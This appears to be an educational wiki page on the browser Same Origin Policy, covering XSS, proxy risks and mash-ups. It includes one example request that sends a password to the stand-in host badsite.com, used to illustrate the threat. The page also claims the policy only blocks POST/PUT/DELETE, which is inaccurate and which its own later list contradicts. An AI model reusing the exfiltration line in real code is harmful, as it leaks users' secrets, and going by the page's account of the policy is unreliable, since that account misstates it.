Same Origin Policy

To prevent malicious scripts from contacting your router, accessing files on your computer, or in general accessing information they aren't supposed to see, modern browsers enforce the Same Origin Policy.  This prevents scripts from accessing information on third-party servers.  The SOP was designed to protect information in the DOM (e.g. passwords, account information) from being intercepted by rogue JavaScript.  In reality, the SOP only prevents rogue JavaScript from accessing the POST/PUT/DELETE methods on remote sites.  Luckily, these are the only methods that should do much harm.

For example, consider a banking website that allows you to send money to a third party via a special GET request.  Any JavaScript can make GET requests, so this is a poor design.  It is possible for rogue JavaScript to make these requests without your knowledge.  Instead, the bank server should only allow the POST/PUT/DELETE methods to change things.  The SOP prevents third-party JavaScript from calling these methods; thus, it is much harder for rogue JavaScript to steel your money!

There are several ways for rogue JavaScript to creep into your webpages.  For example, consider the message board example from AJAX Examples.  The demo allows you to store arbitrary text in a message board string so that other users can see the latest message when they click "refresh".  However, a malicious user could post a message with embedded JavaScript.  The server would store the message happily, but when other users attempt to view the message, their browser will run the embedded JavaScript without realizing that it came from somewhere else.

Because of the SOP, this problem is reduced slightly. Even though other users' browsers will run the JavaScript, the malicious JavaScript won't be able to do anything particularly bad.  Unless private information is stored in the DOM, the rogue JavaScript cannot access anything that the browser isn't currently displaying.  In particular, it can't issue POST/PUT/DELETE requests to wire money to Grand Cayman.

The SOP is definitely not fool-proof:
  1. Your browser can't tell the difference between good and bad JavaScript if the JavaScript came from a good server (as in the message board example above).  This vulnerability is called Cross Site Scripting (XSS).  It's VERY BAD.
  2. If your server uses server-side mashing or provides some sort of proxy to other servers, malicious JavaScript could send POST/PUT/DELETE requests through your server's proxy to other servers.  For example, if your server provides a proxy to a banking server, rogue JavaScript could access the banking server thru your proxy... and the banking server wouldn't be able to tell the difference.
  3. You can defeat the SOP (see below) to allow mash-ups of sites you trust.  Keep in mind, however, that if the sites you are mashing are hacked, it is possible that your mash-up will be serving your users malicious JavaScript from trusted servers.
  4. Even with the SOP in place, it is very easy for rogue JavaScript to contact third-party sites via GET requests, e.g. GET http://badsite.com/storepassword?password=secret
  5. Even with SOP, it is even possible for JavaScript to POST to a third-party site by adding a <form> to the DOM and submitting it.

Defeating the SOP for Mash-ups 

To write a mash-up, you will typically need to perform AJAX calls to remote servers (client-side mashing).  For example, you could write a web application to show results from allrecipes.com on a map from maps.google.com.  In this case, you will need AJAX calls to allrecipes.com and maps.google.com.  The SOP specifically prevents this, but there are ways around the SOP.  The best way available today is probably JSONP.
Subpages (1): JSON with Padding
Comments